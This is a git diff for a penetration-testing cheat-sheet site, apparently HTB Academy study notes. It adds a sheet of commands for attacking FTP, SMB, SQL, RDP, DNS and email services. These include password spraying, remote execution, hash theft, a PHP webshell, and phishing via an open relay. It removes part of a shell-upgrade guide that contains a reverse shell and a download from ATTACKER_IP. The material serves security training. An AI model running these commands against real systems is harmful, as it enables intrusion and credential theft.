+6. [Jenkins — System Configuration](https://www.jenkins.io/doc/book/managing/system-configuration/)
+7. [PayloadsAllTheThings — CMS / app attack notes](https://github.com/swisskyrepo/PayloadsAllTheThings)
diff --git a/src/content/sheets/exploitation/attacking-common-services.md b/src/content/sheets/exploitation/attacking-common-services.md
@@ -0,0 +1,403 @@
+---
+title: "Attacking Common Services (CPTS)"
+description: "Attacking common network services — FTP, SMB, SQL, RDP, DNS, email and more — from enumeration to authentication attacks and exploitation."
+category: exploitation
+tags: ["exploitation", "enumeration", "password-attacks"]
+tools: ["Nmap", "Nuclei", "smbmap", "NetExec", "Impacket"]
+difficulty: intermediate
+updated: "2026-08-28"
+source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/01 - Attacking Common Services - CPTS Cheat Sheet.md"
+---
+# Attacking Common Services — CPTS Cheat Sheet
+
+## Summary
+
+The reusable playbook for the services that dominate internal and perimeter networks: **FTP, SMB, SQL (MySQL/MSSQL), RDP, DNS, and email (SMTP/POP3/IMAP)**. The method is the same for every protocol — enumerate, try anonymous/default/reused credentials, spray, then exploit a misconfiguration or CVE — framed by the module's **Source → Process → Privileges → Destination** model. Misconfigurations (default creds, anonymous auth, over-privileged accounts, unnecessary defaults) land more boxes than memory-corruption bugs, so they come first.
+
+> [!danger]+ HTB-Only Boundary
+>
+> 1. Authorized engagements / labs only. Password spraying, relaying, and RDP RCE (**BlueKeep can BSOD the target**) all affect availability — get sign-off.
+> 2. Spray with lockout awareness: **one password across all users**, watch the domain lockout policy, never a full wordlist per account on a live AD.
+> 3. Record every credential as sensitive evidence; don't paste secrets into permanent notes.
+
+```mermaid
+%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%%
+flowchart LR
+ A["Enumerate\n(nmap -sC -sV)"] --> B["Anonymous / null\naccess?"]
+ B --> C["Default creds\n→ weak combos"]
+ C --> D["Reuse anything found\n(even a filename)\nacross every service"]
+ D --> E["Spray / brute\n(lockout-aware)"]
+ E --> F["Exploit misconfig / CVE\n→ RCE or creds"]
+ F --> G["Loot → feed\ncredential hunting"]
+```
+
+---
+
+## Methodology — the model behind every service
+
+> [!info]+ Concept of Attacks · Source → Process → Privileges → Destination
+> - **Source** — where input enters: user input, config, libraries, APIs, a header (Log4j **CVE-2021-44228** rode a JNDI string in `User-Agent`).
+> - **Process** — the logic handling that input; most vulns live here.
+> - **Privileges** — the context it runs as (SYSTEM/root, service account, app role) = blast radius.
+> - **Destination** — local (file/local service) or network (another host). The cycle is linear; a full chain is usually an *initiation* cycle (leak/foothold) plus a *trigger* cycle (→ RCE).
+
+> [!tip]+ Misconfiguration checklist (offensive = defensive, OWASP A05:2021)
+>
+> 1. **Default credentials** — `admin:admin`, `admin:password`, `root:12345678`, `administrator:Password`, blanks.
+> 2. **Anonymous authentication** — FTP, SMB, occasionally SQL.
+> 3. **Misconfigured access rights** — over-privileged service/user accounts.
+> 4. **Unnecessary defaults** — sample files, admin/debug interfaces, verbose errors.
+> Order: banner-grab → default creds → weak combos → full brute force. Audit tools: CIS-CAT, Lynis, testssl.sh.
+
+> [!info]+ Finding sensitive information — reuse everything
+> The module's worked chain: anonymous FTP exposes an empty file named `johnsmith` → try `johnsmith:johnsmith` on FTP (fails) → **same creds on the mail service (succeeds)** → grep the mailbox for the literal string `password` → recover MSSQL creds → `xp_cmdshell` → RCE. Lesson: a *filename* is a candidate username/password. Try anonymous access broadly first (cheap, non-destructive), then reuse any string found against every other service before brute-forcing.
+
+---
+
+## Evidence-first service triage
+
+Keep discovery, authentication, and exploitation separate. This makes the evidence easier to review and prevents a successful credential from being lost in noisy scan output.
+
+| Pass | Question | Capture |
+|---|---|---|
+| 1 · Identify | What protocol, product, version, and TLS identity answered? | Port, banner, certificate names, scan command |
+| 2 · Enumerate | What is exposed without credentials? | Shares, databases, users, capabilities, screenshots |
+| 3 · Authenticate | Which scoped credential works, and where? | Account, realm, service, time; keep the secret outside the note |
+| 4 · Validate | What is the least-invasive proof of impact? | Read-only query/listing first; exact output and artifact hash |
+| 5 · Feed forward | Does the result reveal another host, user, or credential? | Add it to the target/credential matrix and retest deliberately |
+
+```bash
+# One evidence directory per host; tee only non-secret output
+EVIDENCE="evidence/${IP}"
+mkdir -p "$EVIDENCE"
+sudo nmap -Pn -sV -sC -oA "$EVIDENCE/services" "$IP"
+```
+
+> [!warning]+ Credential handling
+> Avoid passwords in command history and process lists. Prefer tool-supported prompts, protected credential files (`chmod 600`), or environment-specific secret storage; redact exported notes before sharing.
+
+---
+
+## Interacting with services — quick reference
+
+```batch
+:: SMB from Windows CMD
+dir \\192.168.220.129\Finance\
+net use n: \\192.168.220.129\Finance /user:plaintext Password123
+:: Count files, then search names and contents.
+dir n: /a-d /s /b | find /c ":\"
+dir n:\*cred* /s /b
+findstr /s /i cred n:\*.*
+```
+
+```powershell
+# SMB from PowerShell (with creds)
+$password = ConvertTo-SecureString 'Password123' -AsPlainText -Force
+$cred = New-Object System.Management.Automation.PSCredential('plaintext', $password)
+New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem" -Credential $cred
+Get-ChildItem -Recurse -Path N:\ -Include *cred* -File
+Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List
+```
+
+```bash
+# SMB mount from Linux — prepare /tmp/smb.creds in an editor, then protect it
+# File format: username=plaintext, password=<secret>, domain=.
+chmod 600 /tmp/smb.creds
+sudo mount -t cifs -o credentials=/tmp/smb.creds //192.168.220.129/Finance /mnt/Finance
+find /mnt/Finance/ -iname '*cred*'
+grep -rn /mnt/Finance/ -ie cred
+
+# SQL clients
+sqsh -S $IP -U username -P Password123 # MSSQL, plaintext auth only
+mysql -u username -pPassword123 -h $IP # MySQL
+impacket-mssqlclient -port 1433 username@$IP # impacket → NTLM-hash / Kerberos auth
+```
+
+> [!note]+ Tooling notes
+> Prefer `enum4linux-ng` over the legacy Perl `enum4linux`. Use current **NetExec** syntax (`nxc`) when older material says CrackMapExec. Use `impacket-mssqlclient` rather than `sqsh` when you only have an NTLM hash or need Kerberos.
+
+---
+
+## FTP — TCP/21
+
+```bash
+# Enumerate (-sC runs ftp-anon; NSE flags a writable dir = webshell drop candidate)
+sudo nmap -sC -sV -p21 $IP
+
+# Anonymous login
+ftp $IP # Name: anonymous Password: <blank/arbitrary>
+# ls / cd navigate · get/mget download · put/mput upload
+
+# Brute-force
+medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h $IP -M ftp
+hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://$IP
+
+# FTP Bounce — use the FTP server as a scan proxy to reach an internal host
+nmap -Pn -v -n -p80 -b anonymous:password@172.17.0.2 172.17.0.2
+```
+
+> [!bug]+ CVE-2022-22836 · CoreFTP arbitrary file write (dir traversal)
+> The HTTP `PUT` handler doesn't normalise `../`; `--path-as-is` sends the raw traversal; Basic Auth required.
+> ```bash
+> curl -k -X PUT -H "Host: <IP>" --basic -u <user>:<pass> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops
+> ```
+> General CVE lookup: `searchsploit <product> <version>` · `nuclei -t cves/ -u ftp://$IP`
+
+---
+
+## SMB — TCP/445 (139 NetBIOS)
+
+```bash
+# Enumerate — note smb2-security-mode: "signing not required" = NTLM-relay prereq
+sudo nmap $IP -sV -sC -p139,445
+
+# Null-session share enum (-N null auth)
+smbclient -N -L //$IP
+smbmap -H $IP
+smbmap -H $IP -r notes
+smbmap -H $IP --download "notes\note.txt"
+smbmap -H $IP --upload test.txt "notes\test.txt"
+
+# RPC enum (% = null user+pass) and full enum
+rpcclient -U'%' $IP # then: enumdomusers
+./enum4linux-ng.py $IP -A -C
+```
+
+```bash
+# Password spray (--local-auth = non-domain/local accounts; add --continue-on-success)
+nxc smb $IP -u /tmp/userlist.txt -p 'Company01!' --local-auth
+# output "(Pwn3d!)" = local admin on that host
+
+# Remote code execution
+impacket-psexec administrator:'Password123!'@$IP # ADMIN$ + Service Control Manager
+nxc smb $IP -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
+# impacket-smbexec = no writable share · impacket-atexec = Task Scheduler · nxc -x CMD / -X PowerShell
+
+# Loot: logged-on users + local SAM hashes
+nxc smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users
+nxc smb $IP -u administrator -p 'Password123!' --sam # + impacket-secretsdump for LSA/NTDS
+
+# Pass-the-Hash (-H NTLM)
+nxc smb $IP -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE
+```
+
+> [!tip]+ Forced auth (Responder) → crack or relay
+> ```bash
+> sudo responder -I tun0 # capture NetNTLMv2
+> hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt # crack (5600 = NetNTLMv2)
+> # Relay instead: first set SMB = Off in /etc/responder/Responder.conf, then:
+> impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
+> # add -c '<b64 PowerShell revshell>' to execute instead of the default SAM dump
+> ```
+> **CVE-2020-0796 (SMBGhost)** — SMBv3.1.1 compression integer overflow, Win10 1903/1909; conceptual in-module, Metasploit for labs.
+
+---
+
+## SQL Databases — MSSQL 1433 · MySQL 3306
+
+```bash
+nmap -Pn -sV -sC -p1433,3306 $IP
+
+mysql -u julio -pPassword123 -h $IP
+sqsh -S $IP -U .\\julio -P 'MyPassword!' -h # .\ prefix forces a LOCAL SQL account; -h no headers
+impacket-mssqlclient -port 1433 julio@$IP # impacket
+```
+
+```sql
+-- Enumerate (MSSQL, GO terminates each batch)
+SELECT name FROM master.dbo.sysdatabases
+GO
+-- Enumerate (MySQL)
+SHOW DATABASES; USE htbusers; SHOW TABLES; SELECT * FROM users;
+```
+
+**MSSQL → RCE with `xp_cmdshell`:**
+```sql
+xp_cmdshell 'whoami'
+GO
+-- if disabled (needs sysadmin):
+EXECUTE sp_configure 'show advanced options', 1
+RECONFIGURE
+EXECUTE sp_configure 'xp_cmdshell', 1
+RECONFIGURE
+GO
+```
+
+**MySQL file read/write** (needs `FILE` priv + empty `secure_file_priv`):
+```sql
+SHOW VARIABLES LIKE "secure_file_priv";
+SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
+SELECT LOAD_FILE("/etc/passwd");
+```
+
+**MSSQL file read** (service-account perms, no special config):
+```sql
+SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
+GO
+```
+
+**MSSQL privesc — `IMPERSONATE`:**
+```sql
+EXECUTE AS LOGIN = 'sa'
+SELECT SYSTEM_USER
+SELECT IS_SRVROLEMEMBER('sysadmin')
+GO -- run from master; REVERT to switch back
+```
+
+**MSSQL linked-server pivot:**
+```sql
+SELECT srvname, isremote FROM sysservers
+GO
+EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
+GO -- double single-quotes escape; chain with ;
+```
+
+> [!tip]+ Steal NetNTLMv2 with `xp_dirtree`
+> ```bash
+> sudo impacket-smbserver share ./ -smb2support # or: sudo responder -I tun0
+> ```
+> ```sql
+> EXEC master..xp_dirtree '\\10.10.110.17\share\'
+> GO -- xp_subdirs may say access-denied yet still capture the hash
+> ```
+> Legacy: **CVE-2012-2122** — MySQL 5.6.x timing auth bypass (unpatched-only).
+
+---
+
+## RDP — TCP/3389
+
+```bash
+nmap -Pn -p3389 $IP # ms-wbt-server
+
+# Password spray (hydra rdp module is experimental → -t 1..4, -W 1..3)
+crowbar -b rdp -s $IP/32 -U users.txt -c 'password123'
+hydra -L usernames.txt -p 'password123' $IP rdp
+
+# Login
+rdesktop -u admin -p password123 $IP
+xfreerdp /v:$IP /u:<user> /p:<password>
+```
+
+```batch
+:: Session hijack — needs SYSTEM (service runs as Local System). Does NOT work on Server 2019+.
+query user
+sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
+net start sessionhijack
+```
+
+```batch
+:: Pass-the-Hash via Restricted Admin Mode (enable it first — needs prior local admin)
+reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
+```
+```bash
+xfreerdp /v:$IP /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9
+```
+
+> [!warning]+ CVE-2019-0708 (BlueKeep)
+> Unauthenticated use-after-free in the RDP virtual-channel exchange → RCE as LocalSystem. **Can BSOD the target — client sign-off required.** Metasploit: `rdp_scanner` to check, `cve_2019_0708_bluekeep_rce` to exploit.
+
+---
+
+## DNS — UDP/53 (TCP/53 for zone transfers)
+
+```bash
+nmap -p53 -Pn -sV -sC $IP
+
+# Zone transfer (AXFR) — leaks the entire internal namespace if misconfigured
+dig AXFR @ns1.inlanefreight.htb inlanefreight.htb
+fierce --domain zonetransfer.me
+
+# Subdomain enumeration (passive first, then brute) → subdomain takeover
+./subfinder -d inlanefreight.com -v
+host support.inlanefreight.com
+# CNAME → inlanefreight.s3.amazonaws.com; "NoSuchBucket" = dangling CNAME
+# → register the S3 bucket "inlanefreight" to take over the subdomain
+# scale check: nuclei -t subdomain-takeover ; repo: can-i-take-over-xyz
+```
+
+> [!info]+ Local DNS spoofing (Ettercap/Bettercap — requires L2 MITM)
+> Edit `/etc/ettercap/etter.dns` → `inlanefreight.com A 192.168.225.110` (and `*.inlanefreight.com`), ARP-spoof victim↔gateway, enable the `dns_spoof` plugin. Bettercap is the modern successor.
+
+---
+
+## Email Services — SMTP 25 · POP3 110 · IMAP 143 (+ TLS 465/587/993/995)
+
+```bash
+# MX + provider recon (O365 = *.mail.protection.outlook.com, G-Suite = aspmx.l.google.com)
+host -t MX hackthebox.eu
+dig mx inlanefreight.com | grep "MX" | grep -v ";"
+sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 $IP
+```
+
+**Manual user enumeration (telnet):**
+```text
+# SMTP (port 25) # POP3 (port 110)
+VRFY root → 252 valid / 550 invalid USER john → +OK valid / -ERR invalid
+EXPN john → expands distribution lists
+MAIL FROM:john@inlanefreight.htb
+RCPT TO:john → 250 valid / 550 unknown
+```
+
+```bash
+# Automated SMTP enum
+smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t $IP
+# -M VRFY|EXPN|RCPT (also: msf auxiliary/scanner/smtp/smtp_enum)
+
+# Office 365 — Hydra is throttled by MS; use o365spray / MailSniper
+python3 o365spray.py --validate --domain msplaintext.xyz
+python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
+python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz
+
+# Self-hosted spray (swap pop3 for smtp / imap; -f stop on first hit)
+hydra -L users.txt -p 'Company01!' -f $IP pop3
+
+# Open relay → phishing
+nmap -p25 -Pn --script smtp-open-relay $IP
+swaks --from admin@company.com --to john@company.com --header 'Subject: Company Notification' --body 'http://mycustomphishinglink/' --server $IP
+```
+
+> [!bug]+ CVE-2020-7247 · OpenSMTPD unauthenticated RCE
+> A `;` in the sender-address field breaks parsing → command execution **as root** (mail daemon on a standardised port runs as root). PoC is a ≤64-char shell command in the sender field (Exploit-DB).
+
+---
+
+## CVE quick index
+
+| CVE / Name | Service | Nature | Exploit |
+|---|---|---|---|
+| CVE-2021-44228 (Log4j) | any (concept) | JNDI header injection → RCE | model only |
+| CVE-2022-22836 (CoreFTP) | FTP | HTTP PUT dir-traversal file write | `curl` one-liner above |
+| CVE-2020-0796 (SMBGhost) | SMB | SMBv3.1.1 compression overflow | Metasploit (lab) |
+| CVE-2012-2122 | MySQL 5.6.x | timing auth bypass | version-gated |
+| CVE-2019-0708 (BlueKeep) | RDP | unauth UAF → RCE (BSOD risk) | `...bluekeep_rce` |
+| CVE-2020-7247 (OpenSMTPD) | SMTP | sender `;` → root RCE | Exploit-DB PoC |
+
+## Port reference
+
+| Service | Port(s) |
+|---|---|
+| FTP | 21 |
+| SMB | 445, 139 (UDP 137-138) |
+| MSSQL | 1433 (UDP 1434, hidden 2433) |
+| MySQL | 3306 |
+| RDP | 3389 |
+| DNS | 53 (TCP for AXFR) |
+| Email | 25 · 110 · 143 · 465 · 587 · 993 · 995 |
+
+---
+
+## Lessons Learned
+
+1. **Misconfig before CVE.** Anonymous auth, default creds, and over-privileged accounts land more services than any memory-corruption bug — walk the four-category checklist first.
+2. **Reuse every string.** A filename, a username in a share, a password in a mailbox — try it against *every* other service before you brute-force. That's the module's whole worked chain.
+3. **Spray, don't brute, on AD.** One password across all users with lockout awareness; a full wordlist per account locks out the domain and burns the engagement.
+4. **SQL is a file-system and a network pivot**, not just data — `xp_cmdshell`, `INTO OUTFILE`, `OPENROWSET`, `xp_dirtree` hash steal, and linked-server hops all start from a DB login.
+5. **Some exploits break things.** BlueKeep BSODs, relays and sprays touch availability — least-invasive-first, and get explicit sign-off for the loud ones.
+
+## References
+
+1. [HTB Academy — Attacking Common Services](https://academy.hackthebox.com/module/details/116)
+2. [Impacket](https://github.com/fortra/impacket) · [NetExec](https://github.com/Pennyw0rth/NetExec)
+3. [NetExec Wiki — selecting and using protocols](https://www.netexec.wiki/getting-started/selecting-and-using-a-protocol)
+4. [OWASP A05:2021 — Security Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration/)
+5. [can-i-take-over-xyz — subdomain takeover matrix](https://github.com/EdOverflow/can-i-take-over-xyz)
diff --git a/src/content/sheets/exploitation/jailbreak-tty-upgrade.md b/src/content/sheets/exploitation/jailbreak-tty-upgrade.md
@@ -1,2221 +0,0 @@
----
-title: "Jailbreak - TTY Upgrade"
-description: "If you skip this step, long commands will wrap incorrectly, tab completion will break visually, and tools like vim, top, and htop will render garbage…"
-category: exploitation
-tags: ["exploitation", "adcs"]
-tools: ["Nmap", "Metasploit", "Meterpreter", "socat", "PowerShell"]
-difficulty: intermediate
-updated: "2026-08-10"
-source: "vault:Exploitation/Jailbreak - TTY Upgrade.md"
----
-# TTY Upgrades, Shell Stabilisation & Restricted Shell Escapes
-
-> Comprehensive field guide for interactive shell spawning, stabilisation workflows, and restricted shell breakouts during authorised penetration tests.
-
----
-
-## Table of Contents
-
-- [Terminal Geometry (Rows & Columns)](#terminal-geometry-rows--columns)
-- [TTY Upgrade Workflows](#tty-upgrade-workflows)
-- [TTY Upgrade - Python (pty module)](#tty-upgrade---python-pty-module)
-- [TTY Upgrade - script utility](#tty-upgrade---script-utility)
-- [TTY Upgrade - socat](#tty-upgrade---socat)
-- [TTY Upgrade - expect](#tty-upgrade---expect)
-- [TTY Upgrade - mkfifo (named pipes)](#tty-upgrade---mkfifo-named-pipes)
-- [TTY Upgrade - Ruby (PTY module)](#tty-upgrade---ruby-pty-module)
-- [TTY Upgrade - Perl (IO::Pty)](#tty-upgrade---perl-iopty)
-- [TTY Upgrade - rlwrap](#tty-upgrade---rlwrap)
-- [TTY Stabilisation (stty method)](#tty-stabilisation-stty-method)
-- [TTY Upgrade - SSH escape sequences](#tty-upgrade---ssh-escape-sequences)
-- [TTY Upgrade - Meterpreter to shell](#tty-upgrade---meterpreter-to-shell)
-- [TTY Upgrade - PowerShell (ConPTY)](#tty-upgrade---powershell-conpty)
-- [Troubleshooting TTY Upgrades](#troubleshooting-tty-upgrades)
-- [Restricted Shell Escape Workflows](#restricted-shell-escape-workflows)
-- [Restricted Shell Escape - SSH pre-login](#restricted-shell-escape---ssh-pre-login)
-- [Restricted Shell Escape - SSH configuration](#restricted-shell-escape---ssh-configuration)
-- [Restricted Shell Escape - vi/vim editors](#restricted-shell-escape---vivim-editors)
-- [Restricted Shell Escape - ed/emacs/nano editors](#restricted-shell-escape---edemacsnano-editors)
-- [Restricted Shell Escape - pagers (less/more/man)](#restricted-shell-escape---pagers-lessmoreman)
-- [Restricted Shell Escape - Python](#restricted-shell-escape---python)
-- [Restricted Shell Escape - Ruby/Perl/Lua/AWK](#restricted-shell-escape---rubyperlluaawk)
-- [Restricted Shell Escape - find](#restricted-shell-escape---find)
-- [Restricted Shell Escape - tar](#restricted-shell-escape---tar)
-- [Restricted Shell Escape - zip/unzip](#restricted-shell-escape---zipunzip)
-- [Restricted Shell Escape - gcc/compilers](#restricted-shell-escape---gcccompilers)
-- [Restricted Shell Escape - scp](#restricted-shell-escape---scp)
-- [Restricted Shell Escape - ftp/gdb/rpm](#restricted-shell-escape---ftpgdbrpm)
-- [Restricted Shell Escape - nmap](#restricted-shell-escape---nmap)
-- [Restricted Shell Escape - rsync](#restricted-shell-escape---rsync)
-- [Restricted Shell Escape - tcpdump](#restricted-shell-escape---tcpdump)
-- [Restricted Shell Escape - package managers](#restricted-shell-escape---package-managers)
-- [Restricted Shell Escape - database clients](#restricted-shell-escape---database-clients)
-- [Restricted Shell Escape - systemd tools](#restricted-shell-escape---systemd-tools)
-- [Restricted Shell Escape - container tools](#restricted-shell-escape---container-tools)
-- [Restricted Shell Escape - scheduling tools](#restricted-shell-escape---scheduling-tools)
-- [Restricted Shell Escape - debugging tools](#restricted-shell-escape---debugging-tools)
-- [Restricted Shell Escape - git-shell](#restricted-shell-escape---git-shell)
-- [Restricted Shell Escape - browser-based](#restricted-shell-escape---browser-based)
-- [Restricted Shell Escape - telnet](#restricted-shell-escape---telnet)
-- [Restricted Shell Escape - top](#restricted-shell-escape---top)
-- [Restricted Shell Escape - ncat](#restricted-shell-escape---ncat)
-- [Restricted Shell Escape - ld.so](#restricted-shell-escape---ldso)
-- [Restricted Shell Escape - busybox](#restricted-shell-escape---busybox)
-- [Restricted Shell Escape - screen/tmux](#restricted-shell-escape---screentmux)
-- [Restricted Shell Escape - environment variables](#restricted-shell-escape---environment-variables)
-- [Restricted Shell Escape - chroot/mount](#restricted-shell-escape---chrootmount)
-- [Restricted Shell Escape - rbash-specific](#restricted-shell-escape---rbash-specific)
-- [Restricted Shell Escape - lshell-specific](#restricted-shell-escape---lshell-specific)
-- [Restricted Shell Escape - kshell/rksh-specific](#restricted-shell-escape---kshellrksh-specific)
-- [Restricted Shell Escape - command enumeration](#restricted-shell-escape---command-enumeration)
-- [Restricted Shell Escape - redirect workarounds](#restricted-shell-escape---redirect-workarounds)
-- [Restricted Shell Escape - cron/systemd timers](#restricted-shell-escape---cronsystemd-timers)
-- [Restricted Shell Escape - setuid/capabilities abuse](#restricted-shell-escape---setuidcapabilities-abuse)
-- [OPSEC Considerations](#opsec-considerations)
-- [Quick Decision Matrix](#quick-decision-matrix)
-- [References](#references)
-
----
-
-## Terminal Geometry (Rows & Columns)
-
-If you skip this step, long commands will wrap incorrectly, tab completion will break visually, and tools like `vim`, `top`, and `htop` will render garbage. Every TTY upgrade workflow below ends with setting rows and columns for exactly this reason.
-
-### Why it matters
-
-Your local terminal has a geometry (e.g. 50 rows by 200 columns). The remote shell has no idea what those values are, so it falls back to a default (usually 24x80). This mismatch causes text wrapping issues, broken ncurses applications, and garbled output from anything that tries to draw a full-screen interface.
-
-### Step-by-step: getting and setting geometry
-
-**Step 1 - Get your local terminal size (on your attacker machine, BEFORE you background the shell):**
-
-```bash
-# Method 1: stty (preferred - gives exact values)
-stty size
-# Output example: 50 200
-# Format is: ROWS COLS
-
-# Method 2: tput (alternative)
-echo "Rows: $(tput lines) Cols: $(tput cols)"
-
-# Method 3: environment variables (may not always be set)
-echo "$LINES $COLUMNS"
-
-# Method 4: resize command (if available)
-resize
-```
-
-Write these numbers down or remember them. You need them after you stabilise.
-
-**Step 2 - Set geometry on the remote shell (AFTER stabilisation):**
-
-```bash
-# Using the values from Step 1
-stty rows 50 cols 200
-
-# Alternatively, set them individually
-stty rows 50
-stty cols 200
-```
-
-**Step 3 - Verify it worked:**
-
-```bash
-stty size
-# Should output: 50 200
-
-# Or check with tput
-tput lines
-tput cols
-```
-
-### Quick one-liner for the lazy
-
-Run this on your **local** machine first to get the values, then paste the output into the remote shell after stabilising:
-
-```bash
-# Run locally - generates the command to paste remotely
-echo "stty rows $(tput lines) cols $(tput cols)"
-```
-
-### What if you resize your local terminal mid-session?
-
-The remote shell will not automatically update. You have two options:
-
-```bash
-# Option 1: Manually re-set (always works)
-# Check local size again, then on remote:
-stty rows NEW_ROWS cols NEW_COLS
-
-# Option 2: Use resize command (if installed on target)
-resize
-
-# Option 3: SIGWINCH trap (if bash, and you have a proper PTY)
-# Add to remote shell:
-trap 'resize' WINCH
-```
-
-### Common geometry values for reference
-
-|Terminal setup|Typical rows|Typical cols|
-|---|---|---|
-|Default fallback|24|80|
-|Standard fullscreen (1080p)|50-56|190-210|
-|Standard fullscreen (1440p)|65-75|250-280|
-|Tmux pane (half screen)|25-30|95-105|
-|Small laptop (13")|35-40|150-170|
-|macOS Terminal default|24|80|
-|iTerm2 default|25|80|
-
-### Troubleshooting geometry issues
-
-|Symptom|Cause|Fix|
-|---|---|---|
-|Commands wrap mid-line|cols value too low|`stty cols <correct_value>`|
-|Arrow keys produce `^[[A` etc.|No PTY / not stabilised|Complete the full stty stabilisation workflow|
-|vim/nano display is garbled|rows and/or cols wrong|Set both correctly with `stty rows X cols Y`|
-|Tab completion wraps oddly|cols mismatch|Re-check and re-set cols|
-|Prompt overwrites itself|cols value too high|Lower cols to match actual terminal width|
-
----
-
-## TTY Upgrade Workflows
-
-These are end-to-end workflows. Each one goes from "I have a dumb reverse shell" to "I have a fully interactive stabilised terminal". Pick the one that matches what's available on the target.
-
-### Workflow 1: Python + stty (most common)
-
-This is your bread-and-butter. Works on the vast majority of Linux targets.
-
-```
-┌─────────────────────────────────────────────────────────┐
-│ 1. SPAWN PTY │
-│ python3 -c 'import pty; pty.spawn("/bin/bash")' │
-│ │
-│ 2. BACKGROUND THE SHELL │
-│ Ctrl+Z │
-│ │
-│ 3. CONFIGURE LOCAL TERMINAL (on attacker machine) │
-│ stty raw -echo; fg │
-│ │
-│ 4. FIX TERMINAL (back on remote shell) │
-│ reset │
-│ export SHELL=bash │
-│ export TERM=xterm-256color │
-│ stty rows <ROWS> cols <COLS> │
-└─────────────────────────────────────────────────────────┘
-```
-
-Full command sequence:
-
-```bash
-# [ON TARGET] Step 1: Spawn PTY
-python3 -c 'import pty; pty.spawn("/bin/bash")'
-
-# [ON TARGET] Step 2: Background
-# Press Ctrl+Z
-
-# [ON ATTACKER] Step 3: Raw mode + foreground
-stty raw -echo; fg
-# (you may need to press Enter twice after fg)
-
-# [ON TARGET] Step 4: Terminal setup
-reset
-export SHELL=bash
-export TERM=xterm-256color
-stty rows 50 cols 200
-```
-
-### Workflow 2: script + stty (when Python is missing)
-
-For minimal systems without Python. The `script` command is part of util-linux and is almost always present.
-
-```
-┌─────────────────────────────────────────────────────────┐
-│ 1. SPAWN PTY │
-│ script -qc /bin/bash /dev/null │
-│ │
-│ 2. BACKGROUND THE SHELL │
-│ Ctrl+Z │
-│ │
-│ 3. CONFIGURE LOCAL TERMINAL │
-│ stty raw -echo; fg │
-│ │
-│ 4. FIX TERMINAL │
-│ reset │
-│ export SHELL=bash │
-│ export TERM=xterm-256color │
-│ stty rows <ROWS> cols <COLS> │
-└─────────────────────────────────────────────────────────┘
-```
-
-```bash
-# [ON TARGET]
-script -qc /bin/bash /dev/null
-# Ctrl+Z
-
-# [ON ATTACKER]
-stty raw -echo; fg
-
-# [ON TARGET]
-reset
-export SHELL=bash
-export TERM=xterm-256color
-stty rows 50 cols 200
-```
-
-### Workflow 3: socat (best quality, needs binary on target)
-
-Produces the cleanest shell with proper signal handling and window resizing. Requires socat on both ends.
-
-```
-┌─────────────────────────────────────────────────────────┐
-│ ATTACKER SIDE: │
-│ socat file:`tty`,raw,echo=0 TCP-L:4444 │
-│ │
-│ TARGET SIDE: │
-│ socat exec:'bash -li',pty,stderr,setsid,sigint,sane │
-│ tcp:ATTACKER_IP:4444 │
-│ │
-│ POST-CONNECT: │
-│ export TERM=xterm-256color │
-│ stty rows <ROWS> cols <COLS> │
-└─────────────────────────────────────────────────────────┘
-```
-
-If socat isn't on the target, transfer a static binary:
-
-```bash
-# [ON ATTACKER] Serve static socat
-python3 -m http.server 8080
-# or
-php -S 0.0.0.0:8080
-
-# [ON TARGET] Download and run
-wget http://ATTACKER_IP:8080/socat -O /tmp/socat
-chmod +x /tmp/socat
-/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444
-```
-
-### Workflow 4: rlwrap (attacker-side only, no target dependency)
-
-When you can't modify the target at all but want command history and arrow key support. This doesn't give you a full PTY but it's a significant quality of life improvement.
-
-```
-┌─────────────────────────────────────────────────────────┐
-│ ATTACKER SIDE: │
-│ rlwrap nc -lvnp 4444 │
-│ │
-│ TARGET SIDE: │
-│ (normal reverse shell connects) │
-│ │
-│ RESULT: │
-│ Arrow keys work for history │
-│ No Ctrl+C / job control / tab complete │
-│ Combine with stty method for full upgrade │
-└─────────────────────────────────────────────────────────┘
-```
-
-```bash
-# [ON ATTACKER] Start wrapped listener
-rlwrap nc -lvnp 4444
-
-# Then optionally still do the full stty upgrade on top:
-# [ON TARGET] python3 -c 'import pty; pty.spawn("/bin/bash")'
-# Ctrl+Z
-# [ON ATTACKER] stty raw -echo; fg
-# [ON TARGET] reset && export TERM=xterm-256color && stty rows 50 cols 200
-```
-
-### Workflow 5: expect (rare, but useful on embedded/IoT)
-
-```
-┌─────────────────────────────────────────────────────────┐
-│ 1. SPAWN PTY │
-│ expect -c 'spawn bash; interact' │
-│ │
-│ 2. BACKGROUND + STABILISE (same as Workflow 1) │
-│ Ctrl+Z │
-│ stty raw -echo; fg │
-│ reset && export TERM=xterm-256color │
-│ stty rows <ROWS> cols <COLS> │
-└─────────────────────────────────────────────────────────┘
-```
-
